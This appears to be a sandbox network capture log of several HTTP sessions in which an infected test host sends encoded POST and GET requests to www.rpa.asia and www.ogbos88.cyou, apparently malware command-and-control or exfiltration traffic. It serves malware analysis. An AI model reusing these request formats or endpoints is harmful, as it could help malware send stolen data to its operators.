Jan 9, 2025 16:59:02.153439999 CET	2578	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 6c 78 39 70 76 75 69 42 4c 41 2f 62 35 36 58 46 58 4c 34 36 52 55 6b 6b 4a 41 34 4a 74 6f 32 66 64 4d 79 33 4c 4e 77 69 46 63 6f 78 74 55 52 6f 35 4b 61 48 4f 52 63 30 36 33 6f 32 73 67 41 45 45 53 49 2b 76 33 4e 77 58 79 71 70 54 51 49 52 48 6e 2f 30 37 4c 42 39 69 6b 31 6b 69 42 67 70 58 43 6b 4e 4d 75 68 38 44 77 67 72 48 74 72 47 49 4e 50 47 6f 32 4f 2b 33 79 71 48 31 38 45 30 36 6c 68 75 52 61 6c 52 32 58 49 70 30 75 34 7a 50 6b 43 76 76 39 78 4c 63 46 34 77 6e 6b 42 75 6a 4d 38 64 6c 69 41 61 63 4a 6b 59 72 71 6a 52 36 73 65 6a 79 72 78 65 38 61 39 6c 38 30 33 6c 38 32 62 2b 47 65 70 77 4c 36 4e 49 66 41 53 50 69 44 6a 78 6b 6b 31 54 4e 52 34 4f 62 6a 45 74 59 69 68 31 31 37 37 57 43 62 2b 56 6f 33 71 52 46 66 53 39 5a 66 65 78 67 56 32 41 30 72 61 33 55 43 68 46 59 51 35 64 38 78 33 6c 75 38 6f 55 61 6c 53 58 64 50 63 53 2b 6c 76 6c 6f 41 59 7a 6e [TRUNCATED] Data Ascii: 6B-l7F=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89lx9pvuiBLA/b56XFXL46RUkkJA4Jto2fdMy3LNwiFcoxtURo5KaHORc063o2sgAEESI+v3NwXyqpTQIRHn/07LB9ik1kiBgpXCkNMuh8DwgrHtrGINPGo2O+3yqH18E06lhuRalR2XIp0u4zPkCvv9xLcF4wnkBujM8dliAacJkYrqjR6sejyrxe8a9l803l82b+GepwL6NIfASPiDjxkk1TNR4ObjEtYih1177WCb+Vo3qRFfS9ZfexgV2A0ra3UChFYQ5d8x3lu8oUalSXdPcS+lvloAYzncDmJc9a+uVVJcviBJlqCatS/Kd3Cwkeu7S2ikLafNUHHDRAUwZeEdOCkujulYzKH4RKZ3MLSmm74jZVOjaLUz/XwDC43zkx5zf7A2Le3lqs5REb5BxZYWgqu44jwmb71HwqduGZzWYuOeIb8yQuviwD4E5kPOvpQzov1N1FyKeTXQuwBHCRj8luzmM4PV8iWqf4WHZ6Gkj6FWkXJS+erg7AxstXkJOI8ujkysQsgKn6UzHWJpvpFfzZdqXS7CjjkfzkNCk915PNreSd4a8kFjmWWyJJN5KnRFZA7K9QcitJgWtYMy9NSo9G+5yRLyoGvvDhGFQU1A/2UdUNZcr7AAwHa/STI3azCl2UYdIlx7il6VC5fyWNjzlqtSZdlTr2rXSvVcTX967AsT0uPsvZa184HEMuCk3yyHYC6TFa7yF08BtAY5jYBF588Xwd48Wy2/cEsLlrmU4KBS/OJSXOlnMHutdE+VuXEcyDcqjDC0DkKrqtrOCPWdg35+ejjW50uD4zSGJyxK9S160mPnLUE1dLnMKKN/M1uSj0Nvd4kkNR7UWPDEpMtv7AV01B25ipraOrUvUgUyZ0fzvQQFb7L4ALyJKg5fdWFb4OmkILcI57hEF0QbJq6evMc0Mty3ydZuWMNcMn3gRKpelWnY7dkAHc+IrPaQahOIs [TRUNCATED]
Jan 9, 2025 16:59:02.153476000 CET	1346	OUT	Data Raw: 51 54 79 39 39 6c 70 65 68 7a 33 62 4f 31 69 70 6d 79 63 4a 41 56 45 64 72 4f 35 63 6c 79 52 51 41 61 65 71 6c 2b 6c 53 61 59 64 32 78 76 36 47 6e 76 68 2b 34 76 47 30 2f 2b 6f 75 6a 69 6f 31 70 45 51 75 76 65 39 57 43 50 30 74 78 4b 4b 6b 68 38 Data Ascii: QTy99lpehz3bO1ipmycJAVEdrO5clyRQAaeql+lSaYd2xv6Gnvh+4vG0/+oujio1pEQuve9WCP0txKKkh87NEDCELPCh0ATbOFvPBOkEUFyWGsllWWgIIocZdsjxbLFfRS3xJrjoge8+dovTyhkPfG7LjCDsC57MU6Pxo3KNAVxdlv3tzj1Z5Xj6uwKiczT7dlwgDyeZIIAADi4Wq48A9O1Vq8QT3dUu+0bbvvxGm++tgkDgUMv
Jan 9, 2025 16:59:02.498395920 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:59:02 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:59:02.498403072 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.30	49902	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:59:05.045717001 CET	531	OUT	GET /bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:59:05.402046919 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:59:05 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:59:05.402055979 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.30	49903	172.67.132.227	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:59:10.546438932 CET	799	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 52 4e 4d 55 49 62 46 5a 6b 43 7a 6c 55 66 79 74 78 79 67 4e 51 6c 33 48 61 6c 51 57 41 7a 6c 54 61 69 4b 76 72 4f 59 67 6b 44 51 5a 73 46 51 32 41 37 76 4a 42 69 33 58 5a 6f 7a 54 31 63 56 6e 2f 76 66 32 45 32 58 47 51 4d 4e 35 34 37 47 30 79 35 61 58 58 41 36 71 75 32 68 72 46 34 4d 55 5a 63 64 6b 62 46 65 52 4f 61 66 5a 30 6e 5a 45 5a 5a 52 67 4b 74 69 36 30 4f 72 2b 35 44 65 48 76 53 48 34 69 52 50 56 2b 52 37 44 77 35 57 75 52 52 66 58 55 70 34 4d 70 72 36 44 78 77 6a 75 5a 42 4d 77 73 35 6d 77 32 4b 69 5a 37 62 45 42 6a 78 4a 4e 76 51 3d 3d Data Ascii: 6B-l7F=XHoTkIbF1HmcRNMUIbFZkCzlUfytxygNQl3HalQWAzlTaiKvrOYgkDQZsFQ2A7vJBi3XZozT1cVn/vf2E2XGQMN547G0y5aXXA6qu2hrF4MUZcdkbFeROafZ0nZEZZRgKti60Or+5DeHvSH4iRPV+R7Dw5WuRRfXUp4Mpr6DxwjuZBMws5mw2KiZ7bEBjxJNvQ==
Jan 9, 2025 16:59:10.674277067 CET	804	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:59:10 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:59:10 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ysXntGnS8B72ZmhECUMvE4yqTWTyChLUqF7Gaihd0FNAufXV8z2R5UH6OPMbxkmpT2cZ2cdOxsL%2F9eHtFcl6HbI3d4tz23XoVirnY19%2BWH1hv3fq%2FVPviehltB0yOET4ECDw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff5a20b48fda489-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.30	49904	172.67.132.227	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:59:13.202044964 CET	819	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 52 54 62 43 36 76 6f 50 59 67 6a 44 51 5a 34 56 51 76 4e 62 76 43 42 69 37 78 5a 74 54 54 31 59 31 6e 2f 75 76 32 45 46 76 46 51 63 4e 73 77 62 47 71 39 5a 61 58 58 41 36 71 75 32 46 53 46 34 55 55 5a 74 74 6b 62 6b 65 65 41 36 66 59 7a 6e 5a 45 50 5a 52 73 4b 74 6a 76 30 4e 75 5a 35 46 53 48 76 58 37 34 6c 45 76 53 30 52 37 46 2b 5a 58 5a 53 55 2f 63 55 49 73 72 75 5a 69 39 78 31 72 77 59 57 68 71 78 36 53 79 6c 71 65 30 6e 61 70 70 68 7a 49 57 79 52 33 65 47 31 2f 30 53 4c 47 48 4b 67 39 2b 78 4c 64 46 64 37 6b 3d Data Ascii: 6B-l7F=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBRTbC6voPYgjDQZ4VQvNbvCBi7xZtTT1Y1n/uv2EFvFQcNswbGq9ZaXXA6qu2FSF4UUZttkbkeeA6fYznZEPZRsKtjv0NuZ5FSHvX74lEvS0R7F+ZXZSU/cUIsruZi9x1rwYWhqx6Sylqe0napphzIWyR3eG1/0SLGHKg9+xLdFd7k=
Jan 9, 2025 16:59:13.329472065 CET	804	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:59:13 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:59:13 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z2I5WlTKgn8UqTM4RUXGvKzYqLC7EZrClTeuNcpDxpak%2B5v9Wv0xMjbeEl%2F%2FFj3SAqWYUGvVOD4cr4Wk5YVI8dQk0cxbOaPXdVtIhu4GAdYb0Hlr9K1Ow2mTuwLsTlhiL3h5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff5a21be9fff5fc-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.30	49905	172.67.132.227	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:59:15.861751080 CET	2578	OUT	POST /kj1o/ HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.ogbos88.cyou Referer: http://www.ogbos88.cyou/kj1o/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 58 48 6f 54 6b 49 62 46 31 48 6d 63 65 4d 38 55 62 49 64 5a 74 43 7a 69 62 2f 79 74 2f 69 67 4a 51 6c 4c 48 61 6b 6b 34 44 42 70 54 62 77 79 76 6f 73 77 67 69 44 51 5a 37 56 51 71 4e 62 76 44 42 69 6a 31 5a 74 58 35 31 61 4e 6e 2b 49 54 32 54 45 76 46 65 63 4e 73 76 4c 47 72 79 35 61 43 58 44 54 68 75 32 56 53 46 34 55 55 5a 75 31 6b 53 56 65 65 43 36 66 5a 30 6e 5a 41 5a 5a 52 41 4b 74 37 2f 30 4d 61 6a 35 44 6d 48 73 6e 4c 34 6c 33 48 53 30 52 37 46 33 35 58 63 53 55 37 66 55 4a 45 5a 75 59 71 44 78 42 54 77 61 58 34 72 70 36 47 4d 35 6f 47 68 6c 49 31 55 6d 6c 59 39 73 51 72 41 58 54 72 57 45 70 4b 35 4f 6e 31 62 6b 35 68 53 4d 73 33 7a 4a 41 51 69 76 41 4e 4a 73 51 68 51 79 64 63 6d 35 37 58 53 68 7a 33 4d 37 30 65 37 79 32 56 4a 70 59 76 42 4d 2f 70 30 47 36 62 5a 59 46 4c 45 31 37 73 61 44 73 44 58 5a 38 44 38 4e 47 47 5a 42 76 43 6b 77 6f 49 39 78 38 4d 6b 46 6b 35 56 4f 33 30 4e 33 5a 6c 43 7a 4e 42 67 4d 72 47 68 38 35 74 57 51 38 53 50 6a 43 67 66 51 50 38 75 59 35 6d [TRUNCATED] Data Ascii: 6B-l7F=XHoTkIbF1HmceM8UbIdZtCzib/yt/igJQlLHakk4DBpTbwyvoswgiDQZ7VQqNbvDBij1ZtX51aNn+IT2TEvFecNsvLGry5aCXDThu2VSF4UUZu1kSVeeC6fZ0nZAZZRAKt7/0Maj5DmHsnL4l3HS0R7F35XcSU7fUJEZuYqDxBTwaX4rp6GM5oGhlI1UmlY9sQrAXTrWEpK5On1bk5hSMs3zJAQivANJsQhQydcm57XShz3M70e7y2VJpYvBM/p0G6bZYFLE17saDsDXZ8D8NGGZBvCkwoI9x8MkFk5VO30N3ZlCzNBgMrGh85tWQ8SPjCgfQP8uY5mKx19A4aV2kQNFygbqY6Nenmn9LMeUkq1SX1pyBYELdeAHjKuudTwXQly7qej7NTBAxTT0601ykFobqbQFMi+RjZcVbNG+iA7/lm8oHpEtM5qAtaU8jjXY6jscQXlzqvVY0ud0rNFfBRT1zdJCM04oIjBnROixhF2w8TDdCP2Cub4aJznTev+tFCP0A3Z9XAJUvIOOXfuxIGGmV8YRADxypiHmixP8hQcV1vCcfo175gzSzb6U5gpaCUTvl9pVH+KEIie5+RXJ0MizIF18qiN8i68PuIMk4SPjDxHJlYAnaHBbM5zuswp03c+mqAhlBQGWchFfnzh9gLYuSMrPAXcX2pC2bcFBZtnLA9jIwwFFRuMq/GqQL3/uTBEKjHmbgrmG/PCGq602Cc7JgGzP2kL8xOA2b3H/0kzGRELwUE0SAYINvpA13Un9dksgP70+cdjAva0fqPzQUI+VC/J2QeWGrOllVfV563WZ8vKq8O02KBVU6Gxuf4513UfHdp2xJu+CjimJ8bshOkFkRkZEv/XXiij/WHBedO2MQpqykIDMwvmO3p9cKuleFHbtts8uVny+f4FGvUSOgAtWOngYc0kidYIZmSOfcd0ht3WB0vv8YN/4WRDlF4Ik/8VfUlmIWotnr0MyQgyzH5tAXLajD9t0aNDwr/g+pLU3L [TRUNCATED]
Jan 9, 2025 16:59:15.861814022 CET	1358	OUT	Data Raw: 4a 38 6d 51 34 6a 2b 68 2f 39 6c 4f 6d 32 46 2f 47 55 44 58 51 47 5a 4b 5a 57 63 48 74 70 56 34 54 55 44 49 79 4a 79 42 73 62 72 44 30 51 51 33 72 50 6b 73 73 41 42 52 52 79 67 49 4f 44 6a 32 73 47 56 35 6b 65 6b 32 78 79 63 41 48 37 4b 6e 7a 4d Data Ascii: J8mQ4j+h/9lOm2F/GUDXQGZKZWcHtpV4TUDIyJyBsbrD0QQ3rPkssABRRygIODj2sGV5kek2xycAH7KnzM1Ct8y5KSdJVCSnJ9pdxqFrn1JoGF0tB0MBpetM0M6xsPy3Y1wPgg9KnYdiEs5a5LIdQaU8jdzkdDya3DAQHCDmPImh8OXgghynKsNwRFsIhzoShYKiqCV2Q7EJzoAawJvRn3OKTTmTZXsw9S8RR1KNLEimPm9I9My
Jan 9, 2025 16:59:15.987556934 CET	808	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:59:15 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:59:15 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Swq6fxBwal2IZNOByHd5oKPbFgcHBXL%2BdP%2FXWnOZ6LI5r3DNa57SUY105LSthTH%2F1HwaGU%2F7DLjYEXUdjLLgKRvSYDV849pmxyLoPFhzL9OO7bbvP%2BOFUmj0St2z2oNrk8Uj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8ff5a22c8ad2e80d-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.11.30	49906	172.67.132.227	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:59:18.525099039 CET	535	OUT	GET /kj1o/?80k=lRapCPMXgDk&6B-l7F=aFAzn/LT2mOAaNQADN8poQDHC/ShywB+MmjNXW9rGStYTR2loNwIsxAevG8AaM/8DgC1YrG7rp0i0fn4DlXpdNAv+6uTj4+oUBXQsmt/Lr8OGOl6Yl/nOLw= HTTP/1.1 Host: www.ogbos88.cyou Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:59:18.657053947 CET	781	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 09 Jan 2025 15:59:18 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Thu, 09 Jan 2025 16:59:18 GMT Location: https://ogbos88vip.click Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JUBbrZ%2B4VfL3zQsjhx1JUZhgtSqYZrioJEZEnT2eNfJ3LcfVG7cj6Cog0SN2kR7fVO01lj3ZPW8zvbxohNEokyEBOpFPHOEHTkvPEtMIvUOZBn6%2F6%2BujoHD0icr8pt6yTwXc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5a23d2f32eaf5-ORD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 